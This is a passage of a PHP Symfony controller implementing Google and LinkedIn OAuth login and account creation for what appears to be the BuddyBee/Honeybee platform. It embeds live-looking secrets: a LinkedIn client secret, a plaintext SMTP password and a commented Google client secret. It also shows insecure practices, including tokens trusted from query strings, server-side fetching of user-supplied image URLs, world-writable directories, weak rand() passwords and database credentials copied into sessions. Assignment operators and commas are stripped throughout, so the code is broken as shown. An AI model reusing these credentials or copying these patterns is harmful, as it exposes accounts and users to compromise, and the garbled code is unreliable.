  7151.                     return $this->redirectToRoute($redirectRoute);
  7152.                 }
  7153. //                    $response = new JsonResponse(array(
  7154. //                        'token' => $token,
  7155. //                        'uid' => $session->get(UserConstants::USER_ID),
  7156. //                        'session' => $session,
  7157. //
  7158. //                        'success' => true,
  7159. //                        'session_data' => $session_data,
  7160. //
  7161. //                    ));
  7162. //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  7163. //                    return $response;
  7164. //                    return $this->redirectToRoute("user_login", [
  7165. //                        'id' => $isApplicantExist->getApplicantId(),
  7166. //                        'oAuthData' => $oAuthData,
  7167. //                        'encData' => $encData,
  7168. //                        'locale' => $request->request->get('locale', 'en'),
  7169. //                        'remoteVerify' => $request->request->get('remoteVerify', 0),
  7170. //                        'firebaseToken' => $request->request->get('firebaseToken', ''),
  7171. //                    ]);
  7172.             }
  7173.         }
  7174.         $selector BuddybeeConstant::$selector;
  7175.         $systemType $this->container->hasParameter('system_type') ? $this->container->getParameter('system_type') : '_ERP_';
  7176.         $twig_file '@Authentication/pages/views/applicant_login.html.twig';
  7177.         if ($systemType == '_ERP_') {
  7178.         } else if ($systemType == '_CENTRAL_') {
  7179.             return $this->render(
  7180.                 '@Authentication/pages/views/central_login.html.twig',
  7181.                 [
  7182.                     'page_title' => 'Central Login',
  7183.                     'oAuthLink' => $google_client->createAuthUrl(),
  7184.                     'redirect_url' => $url,
  7185.                     'message' => $message,
  7186.                     'systemType' => $systemType,
  7187.                     'ownServerId' => $ownServerId,
  7188.                     'errorField' => '',
  7189.                     'encData' => $encData,
  7190.                     'state' => 'DCEeFWf45A53sdfKeSS424',
  7191.                     'selector' => $selector,
  7192.                 ]
  7193.             );
  7194.         } else if ($systemType == '_BUDDYBEE_') {
  7195.             return $this->render(
  7196.                 '@Authentication/pages/views/applicant_login.html.twig',
  7197.                 [
  7198.                     'page_title' => 'BuddyBee Login',
  7199.                     'oAuthLink' => $google_client->createAuthUrl(),
  7200.                     'redirect_url' => $url,
  7201.                     'message' => $message,
  7202.                     'errorField' => $errorField,
  7203.                     'encData' => $encData,
  7204.                     'state' => 'DCEeFWf45A53sdfKeSS424',
  7205.                     'selector' => $selector
  7206.                 ]
  7207.             );
  7208.         }
  7209.         return $this->render(
  7210.             '@Authentication/pages/views/applicant_login.html.twig',
  7211.             [
  7212.                 'page_title' => 'Applicant Registration',
  7213.                 'oAuthLink' => $google_client->createAuthUrl(),
  7214.                 'redirect_url' => $url,
  7215.                 'encData' => $encData,
  7216.                 'message' => $message,
  7217.                 'errorField' => $errorField,
  7218.                 'state' => 'DCEeFWf45A53sdfKeSS424',
  7219.                 'selector' => $selector
  7220.             ]
  7221.         );
  7222.     }
  7223.     public function sophiaLoginAction(Request $request$encData ''$remoteVerify 0)
  7224.     {
  7225.         $session $request->getSession();
  7226.         $email $request->getSession()->get('userEmail');
  7227.         $sessionUserId $request->getSession()->get('userId');
  7228.         $oAuthData = [];
  7229. //    $encData='';
  7230.         $em $this->getDoctrine()->getManager('company_group');
  7231.         $applicantRepo $em->getRepository(EntityApplicantDetails::class);
  7232.         $redirectRoute 'dashboard';
  7233.         if ($encData != '') {
  7234.             if ($encData == '8917922')
  7235.                 $redirectRoute 'apply_for_consultant';
  7236.         }
  7237.         if ($request->query->has('encData')) {
  7238.             $encData $request->query->get('encData');
  7239.             if ($encData == '8917922')
  7240.                 $redirectRoute 'apply_for_consultant';
  7241.         }
  7242.         $message '';
  7243.         $errorField '_NONE_';
  7244.         if ($request->query->has('message')) {
  7245.             $message $request->query->get('message');
  7246.         }
  7247.         if ($request->query->has('errorField')) {
  7248.             $errorField $request->query->get('errorField');
  7249.         }
  7250.         if ($request->request->has('oAuthData')) {
  7251.             $oAuthData $request->request->get('oAuthData', []);
  7252.         } else {
  7253.             $oAuthData = [
  7254.                 'email' => $request->request->get('email'''),
  7255.                 'uniqueId' => $request->request->get('uniqueId'''),
  7256.                 'oAuthHash' => '_NONE_',
  7257.                 'image' => $request->request->get('image'''),
  7258.                 'emailVerified' => $request->request->get('emailVerified'''),
  7259.                 'name' => $request->request->get('name'''),
  7260.                 'firstName' => $request->request->get('firstName'''),
  7261.                 'lastName' => $request->request->get('lastName'''),
  7262.                 'type' => 1,
  7263.                 'token' => $request->request->get('oAuthtoken'''),
  7264.             ];
  7265.         }
  7266.         $isApplicantExist null;
  7267.         if ($email) {
  7268.             if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  7269.                 $isApplicantExist $applicantRepo->findOneBy([
  7270.                     'applicantId' => $sessionUserId
  7271.                 ]);
  7272.             } else
  7273.                 return $this->redirectToRoute($redirectRoute);
  7274.         }
  7275.         $google_client = new Google_Client();
  7276. //        $google_client->setClientId('916737688016-l2qfmb9p37cumudkaqpu8s7ndngq9una.apps.googleusercontent.com');
  7277. //        $google_client->setClientSecret('BEWpEBRvv3-hSoB4cGBrVB3z');
  7278.         if (version_compare(PHP_VERSION'5.4.0''>=') && !(defined('JSON_C_VERSION') && PHP_INT_SIZE 4)) {
  7279.             $url $this->generateUrl('user_login', ['encData' => $encData], UrlGenerator::ABSOLUTE_URL);
  7280.         } else {
  7281.             $url $this->generateUrl(
  7282.                 'user_login', ['encData' => $encData], UrlGenerator::ABSOLUTE_URL
  7283.             );
  7284.         }
  7285.         $selector BuddybeeConstant::$selector;
  7286.         $systemType $this->container->hasParameter('system_type') ? $this->container->getParameter('system_type') : '_ERP_';
  7287.         $ownServerId $this->container->hasParameter('server_id') ? $this->container->getParameter('server_id') : '_NONE_';
  7288. //        $this->container->getParameter('kernel.root_dir') . '/../src/ApplicationBundle/Resources/config/client_secret.json';
  7289. //        $google_client->setAuthConfig($this->container->getParameter('kernel.root_dir') . '/../src/ApplicationBundle/Resources/config/client_secret.json');
  7290.         $google_client->setAuthConfig($this->container->getParameter('kernel.root_dir') . '/../src/ApplicationBundle/Resources/config/central_config.json');
  7291. //        $google_client->addScope(Google_Service\Drive::DRIVE_METADATA_READONLY);
  7292.         $google_client->setRedirectUri($url);
  7293.         $google_client->setAccessType('offline');        // offline access
  7294.         $google_client->setIncludeGrantedScopes(true);   // incremental auth
  7295.         $google_client->addScope('email');
  7296.         $google_client->addScope('profile');
  7297.         $google_client->addScope('openid');
  7298. //    $google_client->setRedirectUri('http://localhost/applicant_login');
  7299.         //linked in 1st
  7300.         if (isset($_GET["code"]) && isset($_GET["state"])) {
  7301.             $curl curl_init();
  7302.             curl_setopt_array($curl, array(
  7303.                 CURLOPT_RETURNTRANSFER => true,   // return web page
  7304.                 CURLOPT_HEADER => false,  // don't return headers
  7305.                 CURLOPT_FOLLOWLOCATION => true,   // follow redirects
  7306.                 CURLOPT_MAXREDIRS => 10,     // stop after 10 redirects
  7307.                 CURLOPT_ENCODING => "",     // handle compressed
  7308.                 CURLOPT_USERAGENT => "test"// name of client
  7309.                 CURLOPT_AUTOREFERER => true,   // set referrer on redirect
  7310.                 CURLOPT_CONNECTTIMEOUT => 120,    // time-out on connect
  7311.                 CURLOPT_TIMEOUT => 120,    // time-out on response
  7312.                 CURLOPT_URL => 'https://www.linkedin.com/oauth/v2/accessToken',
  7313.                 CURLOPT_USERAGENT => 'InnoPM',
  7314.                 CURLOPT_POSTFIELDS => urldecode("grant_type=authorization_code&code=" $_GET["code"] . "&redirect_uri=$url&client_id=86wi39zpo46wsl&client_secret=X59ktZnreWPomqIe"),
  7315.                 CURLOPT_POST => 1,
  7316.                 CURLOPT_HTTPHEADER => array(
  7317.                     'Content-Type: application/x-www-form-urlencoded'
  7318.                 )
  7319.             ));
  7320.             $content curl_exec($curl);
  7321.             $contentArray = [];
  7322.             curl_close($curl);
  7323.             $token false;
  7324. //      return new JsonResponse(array(
  7325. //          'content'=>$content,
  7326. //          'contentArray'=>json_decode($content,true),
  7327. //
  7328. //      ));
  7329.             if ($content) {
  7330.                 $contentArray json_decode($contenttrue);
  7331.                 $token $contentArray['access_token'];
  7332.             }
  7333.             if ($token) {
  7334.                 $applicantInfo = [];
  7335.                 $curl curl_init();
  7336.                 curl_setopt_array($curl, array(
  7337.                     CURLOPT_RETURNTRANSFER => true,   // return web page
  7338.                     CURLOPT_HEADER => false,  // don't return headers
  7339.                     CURLOPT_FOLLOWLOCATION => true,   // follow redirects
  7340.                     CURLOPT_MAXREDIRS => 10,     // stop after 10 redirects
  7341.                     CURLOPT_ENCODING => "",     // handle compressed
  7342.                     CURLOPT_USERAGENT => "test"// name of client
  7343.                     CURLOPT_AUTOREFERER => true,   // set referrer on redirect
  7344.                     CURLOPT_CONNECTTIMEOUT => 120,    // time-out on connect
  7345.                     CURLOPT_TIMEOUT => 120,    // time-out on response
  7346.                     CURLOPT_URL => 'https://api.linkedin.com/v2/me?projection=(id,localizedFirstName,localizedLastName,firstName,lastName,profilePicture(displayImage~:playableStreams))',
  7347.                     CURLOPT_USERAGENT => 'InnoPM',
  7348.                     CURLOPT_HTTPGET => 1,
  7349.                     CURLOPT_HTTPHEADER => array(
  7350.                         'Authorization: Bearer ' $token,
  7351.                         'Header-Key-2: Header-Value-2'
  7352.                     )
  7353.                 ));
  7354.                 $userGeneralcontent curl_exec($curl);
  7355.                 curl_close($curl);
  7356.                 if ($userGeneralcontent) {
  7357.                     $userGeneralcontent json_decode($userGeneralcontenttrue);
  7358.                 }
  7359.                 $curl curl_init();
  7360.                 curl_setopt_array($curl, array(
  7361.                     CURLOPT_RETURNTRANSFER => true,   // return web page
  7362.                     CURLOPT_HEADER => false,  // don't return headers
  7363.                     CURLOPT_FOLLOWLOCATION => true,   // follow redirects
  7364.                     CURLOPT_MAXREDIRS => 10,     // stop after 10 redirects
  7365.                     CURLOPT_ENCODING => "",     // handle compressed
  7366.                     CURLOPT_USERAGENT => "test"// name of client
  7367.                     CURLOPT_AUTOREFERER => true,   // set referrer on redirect
  7368.                     CURLOPT_CONNECTTIMEOUT => 120,    // time-out on connect
  7369.                     CURLOPT_TIMEOUT => 120,    // time-out on response
  7370.                     CURLOPT_URL => 'https://api.linkedin.com/v2/emailAddress?q=members&projection=(elements*(handle~))',
  7371. //            CURLOPT_URL => 'https://api.linkedin.com/v2/emailAddress',
  7372.                     CURLOPT_USERAGENT => 'InnoPM',
  7373.                     CURLOPT_HTTPGET => 1,
  7374.                     CURLOPT_HTTPHEADER => array(
  7375.                         'Authorization: Bearer ' $token,
  7376.                         'Header-Key-2: Header-Value-2'
  7377.                     )
  7378.                 ));
  7379.                 $userEmailcontent curl_exec($curl);
  7380.                 curl_close($curl);
  7381.                 $token false;
  7382.                 if ($userEmailcontent) {
  7383.                     $userEmailcontent json_decode($userEmailcontenttrue);
  7384.                 }
  7385. //        $oAuthEmail = $applicantInfo['email'];
  7386. //        return new JsonResponse(array(
  7387. //          'userEmailcontent'=>$userEmailcontent,
  7388. //          'userGeneralcontent'=>$userGeneralcontent,
  7389. //        ));
  7390. //        return new response($userGeneralcontent);
  7391.                 $oAuthData = [
  7392.                     'email' => $userEmailcontent['elements'][0]['handle~']['emailAddress'],
  7393.                     'uniqueId' => $userGeneralcontent['id'],
  7394.                     'image' => $userGeneralcontent['profilePicture']['displayImage~']['elements'][0]['identifiers'][0]['identifier'],
  7395.                     'emailVerified' => $userEmailcontent['elements'][0]['handle~']['emailAddress'],
  7396.                     'name' => $userGeneralcontent['localizedFirstName'] . ' ' $userGeneralcontent['localizedLastName'],
  7397.                     'firstName' => $userGeneralcontent['localizedFirstName'],
  7398.                     'lastName' => $userGeneralcontent['localizedLastName'],
  7399.                     'type' => 1,
  7400.                     'token' => $token,
  7401.                 ];
  7402.             }
  7403.         } else if (isset($_GET["code"])) {
  7404.             $token $google_client->fetchAccessTokenWithAuthCode($_GET["code"]);
  7405.             if (!isset($token['error'])) {
  7406.                 $google_client->setAccessToken($token['access_token']);
  7407.                 $google_service = new Google_Service_Oauth2($google_client);
  7408.                 $applicantInfo $google_service->userinfo->get();
  7409.                 $oAuthEmail $applicantInfo['email'];
  7410.                 $oAuthData = [
  7411.                     'email' => $applicantInfo['email'],
  7412.                     'uniqueId' => $applicantInfo['id'],
  7413.                     'image' => $applicantInfo['picture'],
  7414.                     'emailVerified' => $applicantInfo['verifiedEmail'],
  7415.                     'name' => $applicantInfo['givenName'] . ' ' $applicantInfo['familyName'],
  7416.                     'firstName' => $applicantInfo['givenName'],
  7417.                     'lastName' => $applicantInfo['familyName'],
  7418.                     'type' => $token['token_type'],
  7419.                     'token' => $token['access_token'],
  7420.                 ];
  7421.             }
  7422.         } else if (isset($_GET["access_token"])) {
  7423.             $token $_GET["access_token"];
  7424.             $tokenType $_GET["token_type"];
  7425.             if (!isset($token['error'])) {
  7426.                 $google_client->setAccessToken($token);
  7427.                 $google_service = new Google_Service_Oauth2($google_client);
  7428.                 $applicantInfo $google_service->userinfo->get();
  7429.                 $oAuthEmail $applicantInfo['email'];
  7430.                 $oAuthData = [
  7431.                     'email' => $applicantInfo['email'],
  7432.                     'uniqueId' => $applicantInfo['id'],
  7433.                     'image' => $applicantInfo['picture'],
  7434.                     'emailVerified' => $applicantInfo['verifiedEmail'],
  7435.                     'name' => $applicantInfo['givenName'] . ' ' $applicantInfo['familyName'],
  7436.                     'firstName' => $applicantInfo['givenName'],
  7437.                     'lastName' => $applicantInfo['familyName'],
  7438.                     'type' => $tokenType,
  7439.                     'token' => $token,
  7440.                 ];
  7441.             }
  7442.         }
  7443.         if ($oAuthData['email'] != '' || $oAuthData['uniqueId'] != '') {
  7444.             // Multi-email aware, injection-safe (2026-07-04 fix): match the OAuth email against ANY
  7445.             // tagged email (comma list, email OR oAuthEmail). Replaces exact single-value findOneBy
  7446.             // + a hand-rolled comma-LIKE that interpolated the email into SQL and false-matched.
  7447.             $isApplicantExist = \ApplicationBundle\Helper\ApplicantEmailResolver::findOneByAnyEmail($em$oAuthData['email']);
  7448.             if (!$isApplicantExist && $oAuthData['uniqueId'] != '') {
  7449.                 $isApplicantExist $applicantRepo->findOneBy([
  7450.                     'oAuthUniqueId' => $oAuthData['uniqueId']
  7451.                 ]);
  7452.             }
  7453.             if ($isApplicantExist) {
  7454.                 if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  7455.                 } else
  7456.                     return $this->redirectToRoute("core_login", [
  7457.                         'id' => $isApplicantExist->getApplicantId(),
  7458.                         'oAuthData' => $oAuthData,
  7459.                         'encData' => $encData,
  7460.                         'locale' => $request->request->get('locale''en'),
  7461.                         'remoteVerify' => $request->request->get('remoteVerify'0),
  7462.                         'firebaseToken' => $request->request->get('firebaseToken'''),
  7463.                     ]);
  7464.             } else {
  7465.                 $fname $oAuthData['firstName'];
  7466.                 $lname $oAuthData['lastName'];
  7467.                 $img $oAuthData['image'];
  7468.                 $email $oAuthData['email'];
  7469.                 $oAuthEmail $oAuthData['email'];
  7470.                 $userName explode('@'$email)[0];
  7471.                 //now check if same username exists
  7472.                 $username_already_exist 1;
  7473.                 $initial_user_name $userName;
  7474.                 $timeoutSafeCount 10;//only 10 timeout for safety if this fails just add the unix timestamp to make it unique
  7475.                 while ($username_already_exist == && $timeoutSafeCount 0) {
  7476.                     $isUsernameExist $applicantRepo->findOneBy([
  7477.                         'username' => $userName
  7478.                     ]);
  7479.                     if ($isUsernameExist) {
  7480.                         $username_already_exist 1;
  7481.                         $userName $initial_user_name '' rand(3009987);
  7482.                     } else {
  7483.                         $username_already_exist 0;
  7484.                     }
  7485.                     $timeoutSafeCount--;
  7486.                 }
  7487.                 if ($timeoutSafeCount == && $username_already_exist == 1) {
  7488.                     $currentUnixTimeStamp '';
  7489.                     $currentUnixTime = new \DateTime();
  7490.                     $currentUnixTimeStamp $currentUnixTime->format('U');
  7491.                     $userName $userName '' $currentUnixTimeStamp;
  7492.                 }
  7493.                 $characters '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
  7494.                 $charactersLength strlen($characters);
  7495.                 $length 8;
  7496.                 $password 0;
  7497.                 for ($i 0$i $length$i++) {
  7498.                     $password .= $characters[rand(0$charactersLength 1)];
  7499.                 }
  7500.                 $newApplicant = new EntityApplicantDetails();
  7501.                 $newApplicant->setActualRegistrationAt(new \DateTime());
  7502.                 $newApplicant->setEmail($email);
  7503.                 $newApplicant->setUserName($userName);
  7504.                 $newApplicant->setFirstname($fname);
  7505.                 $newApplicant->setLastname($lname);
  7506.                 $newApplicant->setOAuthEmail($oAuthEmail);
  7507.                 $newApplicant->setIsEmailVerified(isset($oAuthData['emailVerified']) ? ($oAuthData['emailVerified'] != '' 0) : 0);
  7508.                 $newApplicant->setOauthUniqueId($oAuthData['uniqueId']);
  7509.                 $newApplicant->setAccountStatus(1);
  7510.                 $salt uniqid(mt_rand());
  7511.                 $encodedPassword $this->container->get('app.legacy_password_service')->hashWithSalt($password$salt);
  7512.                 $newApplicant->setPassword($encodedPassword);
  7513.                 $newApplicant->setSalt($salt);
  7514.                 $newApplicant->setTempPassword($password);;
  7515. //                $newApplicant->setPassword($password);
  7516.                 $marker $userName '-' time();
  7517. //                $extension_here=$uploadedFile->guessExtension();
  7518. //                $fileName = md5(uniqid()) . '.' . $uploadedFile->guessExtension();
  7519. //                $path = $fileName;
  7520.                 $upl_dir $this->container->getParameter('kernel.root_dir') . '/../web/uploads/applicants';
  7521.                 if (!file_exists($upl_dir)) {
  7522.                     mkdir($upl_dir0777true);
  7523.                 }
  7524.                 $ch curl_init($img);
  7525.                 $fp fopen($upl_dir '/' $marker '.jiff''wb');
  7526.                 curl_setopt($chCURLOPT_FILE$fp);
  7527.                 curl_setopt($chCURLOPT_HEADER0);
  7528.                 curl_exec($ch);
  7529.                 curl_close($ch);
  7530.                 fclose($fp);
  7531.                 $newApplicant->setImage('/uploads/applicants/' $marker '.jiff');
  7532. //                $newApplicant->setImage($img);
  7533.                 $newApplicant->setIsConsultant(0);
  7534.                 $newApplicant->setIsTemporaryEntry(0);
  7535.                 $newApplicant->setApplyForConsultant(0);
  7536.                 $em->persist($newApplicant);
  7537.                 $em->flush();
  7538.                 // GR2 (GROWTH) â€” fresh registration: stamp the viral-touch conversion if this
  7539.                 // browser landed via a GR1 backlink. Fully guarded inside; never affects signup.
  7540.                 \ApplicationBundle\Modules\LeadGen\Service\ViralAttributionService::stampConversion($em$request$newApplicant->getId());
  7541.                 $isApplicantExist $newApplicant;
  7542.                 if (GeneralConstant::EMAIL_ENABLED == 1) {
  7543.                     if ($systemType == '_BUDDYBEE_') {
  7544.                         $bodyHtml '';
  7545.                         $bodyTemplate '@Application/email/templates/buddybeeRegistrationComplete.html.twig';
  7546.                         $bodyData = array(
  7547.                             'name' => $newApplicant->getFirstname() . ' ' $newApplicant->getLastname(),
  7548.                             'email' => $userName,
  7549.                             'password' => $newApplicant->getPassword(),
  7550.                         );
  7551.                         $attachments = [];
  7552.                         $forwardToMailAddress $newApplicant->getOAuthEmail();
  7553. //                    $upl_dir = $this->container->getParameter('kernel.root_dir') . '/../web/uploads/temp/' . 'ledger' . '.pdf'
  7554.                         $new_mail $this->get('mail_module');
  7555.                         $new_mail->sendMyMail(array(
  7556.                             'senderHash' => '_CUSTOM_',
  7557.                             //                        'senderHash'=>'_CUSTOM_',
  7558.                             'forwardToMailAddress' => $forwardToMailAddress,
  7559.                             'subject' => 'Welcome to BuddyBee ',
  7560. //                        'fileName' => 'Order#' . str_pad($id, 8, '0', STR_PAD_LEFT) . '.pdf',
  7561.                             'attachments' => $attachments,
  7562.                             'toAddress' => $forwardToMailAddress,
  7563.                             'fromAddress' => 'registration@buddybee.eu',
  7564.                             'userName' => 'registration@buddybee.eu',
  7565.                             'password' => 'Y41dh8g0112',
  7566.                             'smtpServer' => \ApplicationBundle\Helper\MailerConfig::host(),
  7567.                             'smtpPort' => \ApplicationBundle\Helper\MailerConfig::port(),
  7568.                             'encryptionMethod' => 'ssl',
  7569. //                            'emailBody' => $bodyHtml,
  7570.                             'mailTemplate' => $bodyTemplate,
  7571.                             'templateData' => $bodyData,
  7572. //                        'embedCompanyImage' => 1,
  7573. //                        'companyId' => $companyId,
  7574. //                        'companyImagePath' => $company_data->getImage()
  7575.                         ));
  7576.                     } else {
  7577.                         $bodyHtml '';
  7578.                         $bodyTemplate '@Application/email/user/applicant_login.html.twig';
  7579.                         $bodyData = array(
  7580.                             'name' => $newApplicant->getFirstname() . ' ' $newApplicant->getLastname(),
  7581.                             'email' => 'APP-' $userName,
  7582.                             'password' => $newApplicant->getPassword(),
  7583.                         );
  7584.                         $attachments = [];
  7585.                         $forwardToMailAddress $newApplicant->getOAuthEmail();
  7586. //                    $upl_dir = $this->container->getParameter('kernel.root_dir') . '/../web/uploads/temp/' . 'ledger' . '.pdf'
  7587.                         $new_mail $this->get('mail_module');
  7588.                         $new_mail->sendMyMail(array(
  7589.                             'senderHash' => '_CUSTOM_',
  7590.                             //                        'senderHash'=>'_CUSTOM_',
  7591.                             'forwardToMailAddress' => $forwardToMailAddress,
  7592.                             'subject' => 'Applicant Registration on Honeybee',
  7593. //                        'fileName' => 'Order#' . str_pad($id, 8, '0', STR_PAD_LEFT) . '.pdf',
  7594.                             'attachments' => $attachments,
  7595.                             'toAddress' => $forwardToMailAddress,
  7596.                             'fromAddress' => 'accounts@ourhoneybee.eu',
  7597.                             'userName' => 'accounts@ourhoneybee.eu',
  7598.                             'password' => \ApplicationBundle\Helper\MailerConfig::buddybeePassword(),
  7599.                             'smtpServer' => \ApplicationBundle\Helper\MailerConfig::host(),
  7600.                             'smtpPort' => \ApplicationBundle\Helper\MailerConfig::port(),
  7601.                             'encryptionMethod' => 'ssl',
  7602. //                            'emailBody' => $bodyHtml,
  7603.                             'mailTemplate' => $bodyTemplate,
  7604.                             'templateData' => $bodyData,
  7605. //                        'embedCompanyImage' => 1,
  7606. //                        'companyId' => $companyId,
  7607. //                        'companyImagePath' => $company_data->getImage()
  7608.                         ));
  7609.                     }
  7610.                 }
  7611.                 if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  7612.                 } else {
  7613.                     return $this->redirectToRoute("core_login", [
  7614.                         'id' => $newApplicant->getApplicantId(),
  7615.                         'oAuthData' => $oAuthData,
  7616.                         'encData' => $encData,
  7617.                         'remoteVerify' => $request->request->get('remoteVerify'0),
  7618.                         'locale' => $request->request->get('locale''en'),
  7619.                         'firebaseToken' => $request->request->get('firebaseToken'''),
  7620.                     ]);
  7621.                 }
  7622.             }
  7623.         }
  7624.         if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  7625.             if ($isApplicantExist) {
  7626.                 $user $isApplicantExist;
  7627.                 $userType UserConstants::USER_TYPE_APPLICANT;
  7628.                 $userTypesByAppIds json_decode($user->getUserTypesByAppIds(), true);
  7629.                 $globalId $user->getApplicantId();
  7630.                 $gocList $em
  7631.                     ->getRepository("CompanyGroupBundle\\Entity\\CompanyGroup")
  7632.                     ->findBy(
  7633.                         array(//                        'active' => 1
  7634.                         )
  7635.                     );
  7636.                 $gocDataList = [];
  7637.                 $gocDataListForLoginWeb = [];
  7638.                 $gocDataListByAppId = [];
  7639.                 foreach ($gocList as $entry) {
  7640.                     $d = array(
  7641.                         'name' => $entry->getName(),
  7642.                         'image' => $entry->getImage(),
  7643.                         'id' => $entry->getId(),
  7644.                         'appId' => $entry->getAppId(),
  7645.                         'skipInWebFlag' => $entry->getSkipInWebFlag(),
  7646.                         'skipInAppFlag' => $entry->getSkipInAppFlag(),
  7647.                         'dbName' => $entry->getDbName(),
  7648.                         'dbUser' => $entry->getDbUser(),
  7649.                         'dbPass' => $entry->getDbPass(),
  7650.                         'dbHost' => $entry->getDbHost(),
  7651.                         'companyGroupServerAddress' => $entry->getCompanyGroupServerAddress(),
  7652.                         'companyGroupServerId' => $entry->getCompanyGroupServerId(),
  7653.                         'companyGroupServerPort' => $entry->getCompanyGroupServerPort(),
  7654.                         'companyRemaining' => $entry->getCompanyRemaining(),
  7655.                         'companyAllowed' => $entry->getCompanyAllowed(),
  7656.                     );
  7657.                     $gocDataList[$entry->getId()] = $d;
  7658.                     if (in_array($entry->getSkipInWebFlag(), [0null]))
  7659.                         $gocDataListForLoginWeb[$entry->getId()] = $d;
  7660.                     $gocDataListByAppId[$entry->getAppId()] = $d;
  7661.                 }
  7662.                 if ($userTypesByAppIds == null$userTypesByAppIds = [];
  7663.                 if ($userType == UserConstants::USER_TYPE_APPLICANT) {
  7664.                     $session->set(UserConstants::USER_ID$user->getApplicantId());
  7665.                     $session->set(UserConstants::LAST_SETTINGS_UPDATED_TSstrval($user->getLastSettingsUpdatedTs()));
  7666.                     $session->set(UserConstants::IS_CONSULTANT$user->getIsConsultant() == 0);
  7667.                     $session->set('BUDDYBEE_BALANCE'$user->getAccountBalance());
  7668.                     $session->set('BUDDYBEE_COIN_BALANCE'$user->getSessionCountBalance());
  7669.                     $session->set(UserConstants::IS_BUDDYBEE_RETAILER$user->getIsRetailer() == 0);
  7670.                     $session->set(UserConstants::BUDDYBEE_RETAILER_LEVEL$user->getRetailerLevel() == 0);
  7671.                     $session->set(UserConstants::BUDDYBEE_ADMIN_LEVEL$user->getIsAdmin() == : ($user->getIsModerator() == 0));
  7672.                     $session->set(UserConstants::IS_BUDDYBEE_MODERATOR$user->getIsModerator() == 0);
  7673.                     $session->set(UserConstants::IS_BUDDYBEE_ADMIN$user->getIsAdmin() == 0);
  7674.                     // $session->set(UserConstants::SUPPLIER_ID, $user->getSupplierId());
  7675.                     $session->set(UserConstants::USER_TYPEUserConstants::USER_TYPE_APPLICANT);
  7676.                     $session->set(UserConstants::USER_EMAIL$user->getOauthEmail());
  7677.                     $session->set(UserConstants::USER_IMAGE$user->getImage());
  7678.                     $session->set(UserConstants::USER_NAME$user->getFirstName() . ' ' $user->getLastName());
  7679.                     $session->set(UserConstants::USER_DEFAULT_ROUTE'');
  7680.                     $session->set(UserConstants::USER_COMPANY_ID1);
  7681.                     $session->set(UserConstants::USER_COMPANY_ID_LISTjson_encode([]));
  7682.                     $session->set(UserConstants::USER_COMPANY_NAME_LISTjson_encode([]));
  7683.                     $session->set(UserConstants::USER_COMPANY_IMAGE_LISTjson_encode([]));
  7684.                     $session->set('userCompanyDarkVibrantList'json_encode([]));
  7685.                     $session->set('userCompanyVibrantList'json_encode([]));
  7686.                     $session->set('userCompanyLightVibrantList'json_encode([]));
  7687.                     $session->set(UserConstants::USER_COMPANY_IMAGE_LISTjson_encode([]));
  7688.                     $session->set(UserConstants::USER_APP_ID0);
  7689.                     $session->set(UserConstants::USER_POSITION_LIST'[]');
  7690.                     $session->set(UserConstants::ALL_MODULE_ACCESS_FLAG0);
  7691.                     $session->set(UserConstants::SESSION_SALTuniqid(mt_rand()));
  7692.                     $session->set(UserConstants::APPLICATION_SECRET$this->container->getParameter('secret'));
  7693.                     $session->set(UserConstants::USER_GOC_ID0);
  7694.                     $session->set(UserConstants::USER_DB_NAME'');
  7695.                     $session->set(UserConstants::USER_DB_USER'');
  7696.                     $session->set(UserConstants::USER_DB_PASS'');
  7697.                     $session->set(UserConstants::USER_DB_HOST'');
  7698.                     $session->set(UserConstants::PRODUCT_NAME_DISPLAY_TYPE'');
  7699.                     $session->set(UserConstants::USER_NOTIFICATION_ENABLEDGeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0);
  7700.                     $session->set(UserConstants::USER_NOTIFICATION_SERVER$this->getParameter('notification_server'));
  7701.                     $session->set('oAuthToken'$request->request->get('oAuthToken'''));
  7702.                     $session->set('locale'$request->request->get('locale'''));
  7703.                     $session->set('firebaseToken'$request->request->get('firebaseToken'''));
  7704.                     $route_list_array = [];
  7705.                     $session->set(UserConstants::USER_CURRENT_POSITION0);
  7706.                     $loginID 0;
  7707.                     $loginID MiscActions::addEntityUserLoginLog(
  7708.                         $em,
  7709.                         $session->get(UserConstants::USER_ID),
  7710.                         $session->get(UserConstants::USER_ID),
  7711.                         1,
  7712.                         $request->server->get("REMOTE_ADDR"),
  7713.                         0,
  7714.                         $request->request->get('deviceId'''),
  7715.                         $request->request->get('oAuthToken'''),
  7716.                         $request->request->get('oAuthType'''),
  7717.                         $request->request->get('locale'''),
  7718.                         $request->request->get('firebaseToken''')
  7719.                     );
  7720.                     $session->set(UserConstants::USER_LOGIN_ID$loginID);
  7721.                     $session_data = array(
  7722.                         UserConstants::USER_ID => $session->get(UserConstants::USER_ID),
  7723.                         UserConstants::LAST_SETTINGS_UPDATED_TS => $session->get(UserConstants::LAST_SETTINGS_UPDATED_TS),
  7724.                         UserConstants::USER_EMPLOYEE_ID => $session->get(UserConstants::USER_EMPLOYEE_ID),
  7725.                         'oAuthToken' => $session->get('oAuthToken'),
  7726.                         'locale' => $session->get('locale'),
  7727.                         'firebaseToken' => $session->get('firebaseToken'),
  7728.                         'token' => $session->get('token'),
  7729.                         'firstLogin' => 0,
  7730.                         'BUDDYBEE_BALANCE' => $session->get('BUDDYBEE_BALANCE'),
  7731.                         'BUDDYBEE_COIN_BALANCE' => $session->get('BUDDYBEE_COIN_BALANCE'),
  7732.                         UserConstants::IS_BUDDYBEE_RETAILER => $session->get(UserConstants::IS_BUDDYBEE_RETAILER),
  7733.                         UserConstants::BUDDYBEE_RETAILER_LEVEL => $session->get(UserConstants::BUDDYBEE_RETAILER_LEVEL),
  7734.                         UserConstants::BUDDYBEE_ADMIN_LEVEL => $session->get(UserConstants::BUDDYBEE_ADMIN_LEVEL),
  7735.                         UserConstants::IS_BUDDYBEE_MODERATOR => $session->get(UserConstants::IS_BUDDYBEE_MODERATOR),
  7736.                         UserConstants::IS_BUDDYBEE_ADMIN => $session->get(UserConstants::IS_BUDDYBEE_ADMIN),
  7737.                         UserConstants::USER_LOGIN_ID => $session->get(UserConstants::USER_LOGIN_ID),
